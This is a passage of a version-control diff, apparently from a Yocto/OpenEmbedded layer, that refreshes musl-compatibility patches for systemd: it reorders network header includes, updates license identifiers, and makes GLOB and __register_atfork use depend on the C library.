+- * Types and definitions for AF_INET6
+- * Linux INET6 implementation
++ * Types and definitions for AF_INET6
++ * Linux INET6 implementation
+ *
+ * Authors:
+- * Pedro Roque <roque@di.fc.ul.pt>
++ * Pedro Roque <roque@di.fc.ul.pt>
+ *
+ * Sources:
+ * IPv6 Program Interfaces for BSD Systems
+@@ -19,8 +19,8 @@
+ * 2 of the License, or (at your option) any later version.
+ */
+
+-#ifndef _UAPI_LINUX_IN6_H
+-#define _UAPI_LINUX_IN6_H
++#ifndef _LINUX_IN6_H
++#define _LINUX_IN6_H
+
+ #include <linux/types.h>
+ #include <linux/libc-compat.h>
+@@ -97,7 +97,7 @@ struct in6_flowlabel_req {
+
+
+ /*
+- * Bitmask constant declarations to help applications select out the
++ * Bitmask constant declarations to help applications select out the
+ * flow label and priority fields.
+ *
+ * Note that this are in host byte order while the flowinfo field of
+@@ -298,4 +298,4 @@ struct in6_flowlabel_req {
+ * ...
+ * MRT6_MAX
+ */
+-#endif /* _UAPI_LINUX_IN6_H */
++#endif /* _LINUX_IN6_H */
+diff --git a/src/libsystemd-network/sd-dhcp6-client.c b/src/libsystemd-network/sd-dhcp6-client.c
+index efbf7d7df3..86906332b6 100644
+--- a/src/libsystemd-network/sd-dhcp6-client.c
++++ b/src/libsystemd-network/sd-dhcp6-client.c
@@ -5,7 +5,6 @@
#include <errno.h>
@@ -64,10 +114,10 @@ Index: systemd-stable/src/libsystemd-network/sd-dhcp6-client.c
#include <linux/if_infiniband.h>
#include "sd-dhcp6-client.h"
-Index: systemd-stable/src/libsystemd/sd-netlink/netlink-types.c
-===================================================================
---- systemd-stable.orig/src/libsystemd/sd-netlink/netlink-types.c
-+++ systemd-stable/src/libsystemd/sd-netlink/netlink-types.c
+diff --git a/src/libsystemd/sd-netlink/netlink-types.c b/src/libsystemd/sd-netlink/netlink-types.c
+index beb926d40b..41de212242 100644
+--- a/src/libsystemd/sd-netlink/netlink-types.c
++++ b/src/libsystemd/sd-netlink/netlink-types.c
@@ -3,6 +3,7 @@
#include <netinet/in.h>
#include <stdint.h>
@@ -76,10 +126,10 @@ Index: systemd-stable/src/libsystemd/sd-netlink/netlink-types.c
#include <linux/can/vxcan.h>
#include <linux/netlink.h>
#include <linux/rtnetlink.h>
-Index: systemd-stable/src/machine/machine-dbus.c
-===================================================================
---- systemd-stable.orig/src/machine/machine-dbus.c
-+++ systemd-stable/src/machine/machine-dbus.c
+diff --git a/src/machine/machine-dbus.c b/src/machine/machine-dbus.c
+index 0022a980c5..fc22e51409 100644
+--- a/src/machine/machine-dbus.c
++++ b/src/machine/machine-dbus.c
@@ -3,6 +3,7 @@
#include <errno.h>
#include <sys/mount.h>
@@ -88,66 +138,66 @@ Index: systemd-stable/src/machine/machine-dbus.c
/* When we include libgen.h because we need dirname() we immediately
* undefine basename() since libgen.h defines it as a macro to the POSIX
-Index: systemd-stable/src/network/netdev/bond.c
-===================================================================
---- systemd-stable.orig/src/network/netdev/bond.c
-+++ systemd-stable/src/network/netdev/bond.c
+diff --git a/src/network/netdev/bond.c b/src/network/netdev/bond.c
+index a7a4adce45..eb111a6c48 100644
+--- a/src/network/netdev/bond.c
++++ b/src/network/netdev/bond.c
@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
#include "alloc-util.h"
#include "bond.h"
#include "bond-util.h"
-Index: systemd-stable/src/network/netdev/bridge.c
-===================================================================
---- systemd-stable.orig/src/network/netdev/bridge.c
-+++ systemd-stable/src/network/netdev/bridge.c
+diff --git a/src/network/netdev/bridge.c b/src/network/netdev/bridge.c
+index 99fb9e1c3c..ecc6ca91bf 100644
+--- a/src/network/netdev/bridge.c
++++ b/src/network/netdev/bridge.c
@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
#include <net/if.h>
#include "bridge.h"
-Index: systemd-stable/src/network/netdev/macsec.c
-===================================================================
---- systemd-stable.orig/src/network/netdev/macsec.c
-+++ systemd-stable/src/network/netdev/macsec.c
+diff --git a/src/network/netdev/macsec.c b/src/network/netdev/macsec.c
+index 77c5f8c4e7..04be1b4ab2 100644
+--- a/src/network/netdev/macsec.c
++++ b/src/network/netdev/macsec.c
@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
#include <netinet/in.h>
#include <linux/if_ether.h>
#include <linux/if_macsec.h>
-Index: systemd-stable/src/network/netdev/netdev-gperf.gperf
-===================================================================
---- systemd-stable.orig/src/network/netdev/netdev-gperf.gperf
-+++ systemd-stable/src/network/netdev/netdev-gperf.gperf
-@@ -2,6 +2,7 @@
+diff --git a/src/network/netdev/netdev-gperf.gperf b/src/network/netdev/netdev-gperf.gperf
+index 9dd081425e..130e5b3d3c 100644
+--- a/src/network/netdev/netdev-gperf.gperf
++++ b/src/network/netdev/netdev-gperf.gperf
+@@ -3,6 +3,7 @@
#if __GNUC__ >= 7
_Pragma("GCC diagnostic ignored \"-Wimplicit-fallthrough\"")
#endif
+#include <netinet/if_ether.h>
#include <stddef.h>
- #include "bond.h"
- #include "bridge.h"
-Index: systemd-stable/src/network/netdev/netdev.c
-===================================================================
---- systemd-stable.orig/src/network/netdev/netdev.c
-+++ systemd-stable/src/network/netdev/netdev.c
+ #include "bareudp.h"
+ #include "batadv.h"
+diff --git a/src/network/netdev/netdev.c b/src/network/netdev/netdev.c
+index 53534d4873..1cfda9469f 100644
+--- a/src/network/netdev/netdev.c
++++ b/src/network/netdev/netdev.c
@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
#include <net/if.h>
#include <netinet/in.h>
#include <unistd.h>
-Index: systemd-stable/src/network/networkd-brvlan.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-brvlan.c
-+++ systemd-stable/src/network/networkd-brvlan.c
+diff --git a/src/network/networkd-bridge-vlan.c b/src/network/networkd-bridge-vlan.c
+index 3153bf6984..687a26b057 100644
+--- a/src/network/networkd-bridge-vlan.c
++++ b/src/network/networkd-bridge-vlan.c
@@ -4,6 +4,7 @@
***/
@@ -156,24 +206,49 @@ Index: systemd-stable/src/network/networkd-brvlan.c
#include <linux/if_bridge.h>
#include <stdbool.h>
-Index: systemd-stable/src/network/networkd-dhcp-common.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-dhcp-common.c
-+++ systemd-stable/src/network/networkd-dhcp-common.c
-@@ -5,6 +5,7 @@
- #include "escape.h"
- #include "in-addr-util.h"
+diff --git a/src/network/networkd-dhcp-common.c b/src/network/networkd-dhcp-common.c
+index 249d780887..edd2e9adf8 100644
+--- a/src/network/networkd-dhcp-common.c
++++ b/src/network/networkd-dhcp-common.c
+@@ -1,7 +1,8 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
++#include <net/if_arp.h>
++#include <net/if.h>
+
+ #include "bus-error.h"
+ #include "dhcp-identifier.h"
+@@ -13,6 +14,7 @@
#include "networkd-dhcp-common.h"
+ #include "networkd-link.h"
+ #include "networkd-manager.h"
+#include <netinet/if_ether.h>
#include "networkd-network.h"
#include "parse-util.h"
- #include "string-table.h"
-Index: systemd-stable/src/network/networkd-dhcp4.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-dhcp4.c
-+++ systemd-stable/src/network/networkd-dhcp4.c
+ #include "socket-util.h"
+diff --git a/src/network/networkd-dhcp-server.c b/src/network/networkd-dhcp-server.c
+index 9e2faa5675..fd8d817569 100644
+--- a/src/network/networkd-dhcp-server.c
++++ b/src/network/networkd-dhcp-server.c
+@@ -1,8 +1,8 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
+-#include <linux/if_arp.h>
+-#include <linux/if.h>
++#include <net/if_arp.h>
++#include <net/if.h>
+
+ #include "sd-dhcp-server.h"
+
+diff --git a/src/network/networkd-dhcp4.c b/src/network/networkd-dhcp4.c
+index f80adcdbcf..3311e2a718 100644
+--- a/src/network/networkd-dhcp4.c
++++ b/src/network/networkd-dhcp4.c
@@ -1,9 +1,9 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
#include <netinet/in.h>
@@ -183,10 +258,10 @@ Index: systemd-stable/src/network/networkd-dhcp4.c
#include "escape.h"
#include "alloc-util.h"
-Index: systemd-stable/src/network/networkd-dhcp6.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-dhcp6.c
-+++ systemd-stable/src/network/networkd-dhcp6.c
+diff --git a/src/network/networkd-dhcp6.c b/src/network/networkd-dhcp6.c
+index 2b72b618fc..d0d4cfb384 100644
+--- a/src/network/networkd-dhcp6.c
++++ b/src/network/networkd-dhcp6.c
@@ -3,9 +3,9 @@
Copyright © 2014 Intel Corporation. All rights reserved.
***/
@@ -198,55 +273,83 @@ Index: systemd-stable/src/network/networkd-dhcp6.c
#include "sd-dhcp6-client.h"
-Index: systemd-stable/src/network/networkd-link.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-link.c
-+++ systemd-stable/src/network/networkd-link.c
-@@ -1,8 +1,8 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+diff --git a/src/network/networkd-link.c b/src/network/networkd-link.c
+index 20675f2306..2884511ff3 100644
+--- a/src/network/networkd-link.c
++++ b/src/network/networkd-link.c
+@@ -1,9 +1,9 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+ #include <net/if.h>
+#include <netinet/if_ether.h>
#include <netinet/in.h>
#include <linux/if.h>
-#include <linux/if_arp.h>
#include <linux/if_link.h>
- #include <unistd.h>
-
-Index: systemd-stable/src/network/networkd-network.c
-===================================================================
---- systemd-stable.orig/src/network/networkd-network.c
-+++ systemd-stable/src/network/networkd-network.c
+ #include <linux/netdevice.h>
+ #include <sys/socket.h>
+diff --git a/src/network/networkd-network.c b/src/network/networkd-network.c
+index 850b4f449e..6f85d41328 100644
+--- a/src/network/networkd-network.c
++++ b/src/network/networkd-network.c
@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
#include <net/if.h>
#include <netinet/in.h>
#include <linux/netdevice.h>
-Index: systemd-stable/src/network/test-network-tables.c
-===================================================================
---- systemd-stable.orig/src/network/test-network-tables.c
-+++ systemd-stable/src/network/test-network-tables.c
-@@ -1,3 +1,4 @@
+diff --git a/src/network/networkd-route.c b/src/network/networkd-route.c
+index eeba31c45d..0a2b0ed42b 100644
+--- a/src/network/networkd-route.c
++++ b/src/network/networkd-route.c
+@@ -1,5 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
++#include <netinet/in.h>
+ #include <linux/icmpv6.h>
+ #include <linux/ipv6_route.h>
+ #include <linux/nexthop.h>
+diff --git a/src/network/networkd-setlink.c b/src/network/networkd-setlink.c
+index 13c4cedd10..6558d551ab 100644
+--- a/src/network/networkd-setlink.c
++++ b/src/network/networkd-setlink.c
+@@ -1,8 +1,8 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+ #include <netinet/in.h>
++#include <net/if_arp.h>
+ #include <linux/if.h>
+-#include <linux/if_arp.h>
+
+ #include "missing_network.h"
+ #include "netlink-util.h"
+diff --git a/src/network/test-network-tables.c b/src/network/test-network-tables.c
+index f55e524ae9..83d5c7cef3 100644
+--- a/src/network/test-network-tables.c
++++ b/src/network/test-network-tables.c
+@@ -1,5 +1,6 @@
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+
+#include <netinet/if_ether.h>
#include "bond.h"
#include "dhcp6-internal.h"
#include "dhcp6-protocol.h"
-Index: systemd-stable/src/shared/ethtool-util.c
-===================================================================
---- systemd-stable.orig/src/shared/ethtool-util.c
-+++ systemd-stable/src/shared/ethtool-util.c
+diff --git a/src/shared/ethtool-util.c b/src/shared/ethtool-util.c
+index f77f6943ca..0e1506e04b 100644
+--- a/src/shared/ethtool-util.c
++++ b/src/shared/ethtool-util.c
@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
#include <net/if.h>
#include <sys/ioctl.h>
#include <linux/ethtool.h>
-Index: systemd-stable/src/shared/ethtool-util.h
-===================================================================
---- systemd-stable.orig/src/shared/ethtool-util.h
-+++ systemd-stable/src/shared/ethtool-util.h
+diff --git a/src/shared/ethtool-util.h b/src/shared/ethtool-util.h
+index 7d28766624..e98a25418b 100644
+--- a/src/shared/ethtool-util.h
++++ b/src/shared/ethtool-util.h
@@ -3,6 +3,7 @@
#include <macro.h>
@@ -255,25 +358,25 @@ Index: systemd-stable/src/shared/ethtool-util.h
#include <linux/ethtool.h>
#include "conf-parser.h"
-Index: systemd-stable/src/udev/net/link-config.c
-===================================================================
---- systemd-stable.orig/src/udev/net/link-config.c
-+++ systemd-stable/src/udev/net/link-config.c
+diff --git a/src/udev/net/link-config.c b/src/udev/net/link-config.c
+index 8dfe23691b..e269856337 100644
+--- a/src/udev/net/link-config.c
++++ b/src/udev/net/link-config.c
@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
#include <linux/netdevice.h>
#include <netinet/ether.h>
#include <unistd.h>
-Index: systemd-stable/src/udev/udev-builtin-net_setup_link.c
-===================================================================
---- systemd-stable.orig/src/udev/udev-builtin-net_setup_link.c
-+++ systemd-stable/src/udev/udev-builtin-net_setup_link.c
+diff --git a/src/udev/udev-builtin-net_setup_link.c b/src/udev/udev-builtin-net_setup_link.c
+index 5964e30bf1..52a18d7a7f 100644
+--- a/src/udev/udev-builtin-net_setup_link.c
++++ b/src/udev/udev-builtin-net_setup_link.c
@@ -1,5 +1,6 @@
- /* SPDX-License-Identifier: LGPL-2.1+ */
+ /* SPDX-License-Identifier: LGPL-2.1-or-later */
+#include <netinet/if_ether.h>
- #include "device-util.h"
#include "alloc-util.h"
- #include "link-config.h"
+ #include "device-util.h"
+ #include "errno-util.h"
diff --git a/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch b/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch
new file mode 100644
index 0000000000..1d8c481467
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not-.patch
@@ -0,0 +1,153 @@
+From fb068403b25002156435350165ea418a6338a313 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 14:56:21 +0800
+Subject: [PATCH] don't fail if GLOB_BRACE and GLOB_ALTDIRFUNC is not defined
+
+If the standard library doesn't provide brace
+expansion users just won't get it.
+
+Dont use GNU GLOB extentions on non-glibc systems
+
+Conditionalize use of GLOB_ALTDIRFUNC
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+[rebased for systemd 243]
+Signed-off-by: Scott Murray <scott.murray@konsulko.com>
+
+---
+ src/basic/glob-util.c | 12 ++++++++++++
+ src/test/test-glob-util.c | 16 ++++++++++++++++
+ src/tmpfiles/tmpfiles.c | 10 ++++++++++
+ 3 files changed, 38 insertions(+)
+
+diff --git a/src/basic/glob-util.c b/src/basic/glob-util.c
+index e026b29478..815e56ef68 100644
+--- a/src/basic/glob-util.c
++++ b/src/basic/glob-util.c
+@@ -12,6 +12,12 @@
+ #include "path-util.h"
+ #include "strv.h"
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ static void closedir_wrapper(void* v) {
+ (void) closedir(v);
+ }
+@@ -19,6 +25,7 @@ static void closedir_wrapper(void* v) {
+ int safe_glob(const char *path, int flags, glob_t *pglob) {
+ int k;
+
++#ifdef GLOB_ALTDIRFUNC
+ /* We want to set GLOB_ALTDIRFUNC ourselves, don't allow it to be set. */
+ assert(!(flags & GLOB_ALTDIRFUNC));
+
+@@ -32,9 +39,14 @@ int safe_glob(const char *path, int flags, glob_t *pglob) {
+ pglob->gl_lstat = lstat;
+ if (!pglob->gl_stat)
+ pglob->gl_stat = stat;
++#endif
+
+ errno = 0;
++#ifdef GLOB_ALTDIRFUNC
+ k = glob(path, flags | GLOB_ALTDIRFUNC, NULL, pglob);
++#else
++ k = glob(path, flags, NULL, pglob);
++#endif
+ if (k == GLOB_NOMATCH)
+ return -ENOENT;
+ if (k == GLOB_NOSPACE)
+diff --git a/src/test/test-glob-util.c b/src/test/test-glob-util.c
+index 50b4924679..09c0a20aee 100644
+--- a/src/test/test-glob-util.c
++++ b/src/test/test-glob-util.c
+@@ -12,6 +12,12 @@
+ #include "rm-rf.h"
+ #include "tmpfile-util.h"
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ static void test_glob_exists(void) {
+ log_info("/* %s */", __func__);
+
+@@ -41,11 +47,13 @@ static void test_glob_no_dot(void) {
+ const char *fn;
+
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_closedir = closedir_wrapper,
+ .gl_readdir = (struct dirent *(*)(void *)) readdir_no_dot,
+ .gl_opendir = (void *(*)(const char *)) opendir,
+ .gl_lstat = lstat,
+ .gl_stat = stat,
++#endif
+ };
+
+ int r;
+@@ -55,11 +63,19 @@ static void test_glob_no_dot(void) {
+ assert_se(mkdtemp(template));
+
+ fn = strjoina(template, "/*");
++#ifdef GLOB_ALTDIRFUNC
+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
++#else
++ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
++#endif
+ assert_se(r == GLOB_NOMATCH);
+
+ fn = strjoina(template, "/.*");
++#ifdef GLOB_ALTDIRFUNC
+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
++#else
++ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
++#endif
+ assert_se(r == GLOB_NOMATCH);
+
+ (void) rm_rf(template, REMOVE_ROOT|REMOVE_PHYSICAL);
+diff --git a/src/tmpfiles/tmpfiles.c b/src/tmpfiles/tmpfiles.c
+index 7e85c50634..145c48a685 100644
+--- a/src/tmpfiles/tmpfiles.c
++++ b/src/tmpfiles/tmpfiles.c
+@@ -66,6 +66,12 @@
+ #include "umask-util.h"
+ #include "user-util.h"
+
++/* Don't fail if the standard library
++ * doesn't provide brace expansion */
++#ifndef GLOB_BRACE
++#define GLOB_BRACE 0
++#endif
++
+ /* This reads all files listed in /etc/tmpfiles.d/?*.conf and creates
+ * them in the file system. This is intended to be used to create
+ * properly owned directories beneath /tmp, /var/tmp, /run, which are
+@@ -1990,7 +1996,9 @@ finish:
+
+ static int glob_item(Item *i, action_t action) {
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_opendir = (void *(*)(const char *)) opendir_nomod,
++#endif
+ };
+ int r = 0, k;
+ char **fn;
+@@ -2010,7 +2018,9 @@ static int glob_item(Item *i, action_t action) {
+
+ static int glob_item_recursively(Item *i, fdaction_t action) {
+ _cleanup_globfree_ glob_t g = {
++#ifdef GLOB_ALTDIRFUNC
+ .gl_opendir = (void *(*)(const char *)) opendir_nomod,
++#endif
+ };
+ int r = 0, k;
+ char **fn;
diff --git a/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch b/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch
deleted file mode 100644
index dd6ecebeb4..0000000000
--- a/meta/recipes-core/systemd/systemd/0007-don-t-fail-if-GLOB_BRACE-and-GLOB_ALTDIRFUNC-is-not.patch
+++ /dev/null
@@ -1,153 +0,0 @@
-From 77f98727f1d19a8fb327b55c92f1a9ee7b859e9f Mon Sep 17 00:00:00 2001
-From: Chen Qi <Qi.Chen@windriver.com>
-Date: Mon, 25 Feb 2019 14:56:21 +0800
-Subject: [PATCH] don't fail if GLOB_BRACE and GLOB_ALTDIRFUNC is not defined
-
-If the standard library doesn't provide brace
-expansion users just won't get it.
-
-Dont use GNU GLOB extentions on non-glibc systems
-
-Conditionalize use of GLOB_ALTDIRFUNC
-
-Upstream-Status: Inappropriate [musl specific]
-
-Signed-off-by: Khem Raj <raj.khem@gmail.com>
-Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
-[rebased for systemd 243]
-Signed-off-by: Scott Murray <scott.murray@konsulko.com>
-
----
- src/basic/glob-util.c | 12 ++++++++++++
- src/test/test-glob-util.c | 16 ++++++++++++++++
- src/tmpfiles/tmpfiles.c | 10 ++++++++++
- 3 files changed, 38 insertions(+)
-
-Index: systemd-stable/src/basic/glob-util.c
-===================================================================
---- systemd-stable.orig/src/basic/glob-util.c
-+++ systemd-stable/src/basic/glob-util.c
-@@ -12,6 +12,12 @@
- #include "path-util.h"
- #include "strv.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- static void closedir_wrapper(void* v) {
- (void) closedir(v);
- }
-@@ -19,6 +25,7 @@ static void closedir_wrapper(void* v) {
- int safe_glob(const char *path, int flags, glob_t *pglob) {
- int k;
-
-+#ifdef GLOB_ALTDIRFUNC
- /* We want to set GLOB_ALTDIRFUNC ourselves, don't allow it to be set. */
- assert(!(flags & GLOB_ALTDIRFUNC));
-
-@@ -32,9 +39,14 @@ int safe_glob(const char *path, int flag
- pglob->gl_lstat = lstat;
- if (!pglob->gl_stat)
- pglob->gl_stat = stat;
-+#endif
-
- errno = 0;
-+#ifdef GLOB_ALTDIRFUNC
- k = glob(path, flags | GLOB_ALTDIRFUNC, NULL, pglob);
-+#else
-+ k = glob(path, flags, NULL, pglob);
-+#endif
- if (k == GLOB_NOMATCH)
- return -ENOENT;
- if (k == GLOB_NOSPACE)
-Index: systemd-stable/src/test/test-glob-util.c
-===================================================================
---- systemd-stable.orig/src/test/test-glob-util.c
-+++ systemd-stable/src/test/test-glob-util.c
-@@ -12,6 +12,12 @@
- #include "rm-rf.h"
- #include "tmpfile-util.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- static void test_glob_exists(void) {
- char name[] = "/tmp/test-glob_exists.XXXXXX";
- int fd = -1;
-@@ -39,11 +45,13 @@ static void test_glob_no_dot(void) {
- const char *fn;
-
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_closedir = closedir_wrapper,
- .gl_readdir = (struct dirent *(*)(void *)) readdir_no_dot,
- .gl_opendir = (void *(*)(const char *)) opendir,
- .gl_lstat = lstat,
- .gl_stat = stat,
-+#endif
- };
-
- int r;
-@@ -51,11 +59,19 @@ static void test_glob_no_dot(void) {
- assert_se(mkdtemp(template));
-
- fn = strjoina(template, "/*");
-+#ifdef GLOB_ALTDIRFUNC
- r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
-+#else
-+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
-+#endif
- assert_se(r == GLOB_NOMATCH);
-
- fn = strjoina(template, "/.*");
-+#ifdef GLOB_ALTDIRFUNC
- r = glob(fn, GLOB_NOSORT|GLOB_BRACE|GLOB_ALTDIRFUNC, NULL, &g);
-+#else
-+ r = glob(fn, GLOB_NOSORT|GLOB_BRACE, NULL, &g);
-+#endif
- assert_se(r == GLOB_NOMATCH);
-
- (void) rm_rf(template, REMOVE_ROOT|REMOVE_PHYSICAL);
-Index: systemd-stable/src/tmpfiles/tmpfiles.c
-===================================================================
---- systemd-stable.orig/src/tmpfiles/tmpfiles.c
-+++ systemd-stable/src/tmpfiles/tmpfiles.c
-@@ -59,6 +59,12 @@
- #include "umask-util.h"
- #include "user-util.h"
-
-+/* Don't fail if the standard library
-+ * doesn't provide brace expansion */
-+#ifndef GLOB_BRACE
-+#define GLOB_BRACE 0
-+#endif
-+
- /* This reads all files listed in /etc/tmpfiles.d/?*.conf and creates
- * them in the file system. This is intended to be used to create
- * properly owned directories beneath /tmp, /var/tmp, /run, which are
-@@ -1867,7 +1873,9 @@ finish:
-
- static int glob_item(Item *i, action_t action) {
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_opendir = (void *(*)(const char *)) opendir_nomod,
-+#endif
- };
- int r = 0, k;
- char **fn;
-@@ -1887,7 +1895,9 @@ static int glob_item(Item *i, action_t a
-
- static int glob_item_recursively(Item *i, fdaction_t action) {
- _cleanup_globfree_ glob_t g = {
-+#ifdef GLOB_ALTDIRFUNC
- .gl_opendir = (void *(*)(const char *)) opendir_nomod,
-+#endif
- };
- int r = 0, k;
- char **fn;
diff --git a/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch b/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch
index 1f618932ea..c613581ef9 100644
--- a/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch
+++ b/meta/recipes-core/systemd/systemd/0008-add-missing-FTW_-macros-for-musl.patch
@@ -1,4 +1,4 @@
-From 7c440cfc53aa52c9dc91c3a8c105bcf314c53af6 Mon Sep 17 00:00:00 2001
+From 7ca9887f84adba065dc2e59b3de55ace2fc72ec0 Mon Sep 17 00:00:00 2001
From: Chen Qi <Qi.Chen@windriver.com>
Date: Mon, 25 Feb 2019 15:00:06 +0800
Subject: [PATCH] add missing FTW_ macros for musl
@@ -13,10 +13,11 @@ Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
---
src/basic/missing_type.h | 20 ++++++++++++++++++++
- 1 file changed, 20 insertions(+)
+ src/shared/mount-setup.c | 1 +
+ 2 files changed, 21 insertions(+)
diff --git a/src/basic/missing_type.h b/src/basic/missing_type.h
-index c487e65e7bde..23602ebbd533 100644
+index aeaf6ad5ec..3df1084ef2 100644
--- a/src/basic/missing_type.h
+++ b/src/basic/missing_type.h
@@ -19,3 +19,23 @@ typedef int (*comparison_fn_t)(const void *, const void *);
@@ -43,3 +44,15 @@ index c487e65e7bde..23602ebbd533 100644
+#ifndef FTW_SKIP_SIBLINGS
+#define FTW_SKIP_SIBLINGS 3
+#endif
+diff --git a/src/shared/mount-setup.c b/src/shared/mount-setup.c
+index ef3527e9a7..c1cab40eb8 100644
+--- a/src/shared/mount-setup.c
++++ b/src/shared/mount-setup.c
+@@ -32,6 +32,7 @@
+ #include "strv.h"
+ #include "user-util.h"
+ #include "virt.h"
++#include "missing_type.h"
+
+ typedef enum MountMode {
+ MNT_NONE = 0,
diff --git a/meta/recipes-core/systemd/systemd/0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch b/meta/recipes-core/systemd/systemd/0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch
new file mode 100644
index 0000000000..0fc320420e
--- /dev/null
+++ b/meta/recipes-core/systemd/systemd/0009-fix-missing-of-__register_atfork-for-non-glibc-build.patch
@@ -0,0 +1,43 @@
+From c7453b716ae308b89cf4b2b231a36ddd38a49752 Mon Sep 17 00:00:00 2001
+From: Chen Qi <Qi.Chen@windriver.com>
+Date: Mon, 25 Feb 2019 15:03:47 +0800
+Subject: [PATCH] fix missing of __register_atfork for non-glibc builds
+
+Upstream-Status: Inappropriate [musl specific]
+
+Signed-off-by: Chen Qi <Qi.Chen@windriver.com>
+
+---
+ src/basic/process-util.c | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+diff --git a/src/basic/process-util.c b/src/basic/process-util.c
+index 461bbfe9a5..2d06f9f60a 100644
+--- a/src/basic/process-util.c
++++ b/src/basic/process-util.c
+@@ -18,6 +18,9 @@
+ #if HAVE_VALGRIND_VALGRIND_H
+ #include <valgrind/valgrind.h>
+ #endif
++#ifndef __GLIBC__
++#include <pthread.h>
++#endif
+
+ #include "alloc-util.h"
+ #include "architecture.h"
+@@ -1202,11 +1205,15 @@ void reset_cached_pid(void) {
+ cached_pid = CACHED_PID_UNSET;
+ }
+
++#ifdef __GLIBC__
+ /* We use glibc __register_atfork() + __dso_handle directly here, as they are not included in the glibc
+ * headers. __register_atfork() is mostly equivalent to pthread_atfork(), but doesn't require us to link against
+ * libpthread, as it is part of glibc anyway. */
+ extern int __register_atfork(void (*prepare) (void), void (*parent) (void), void (*child) (void), void *dso_handle);
+ extern void* __dso_handle _weak_;
++#else
++#define __register_atfork(prepare,parent,child,dso) pthread_atfork(prepare,parent,child)
++#endif
+
+ pid_t getpid_cached(void) {
+ static bool installed = false;
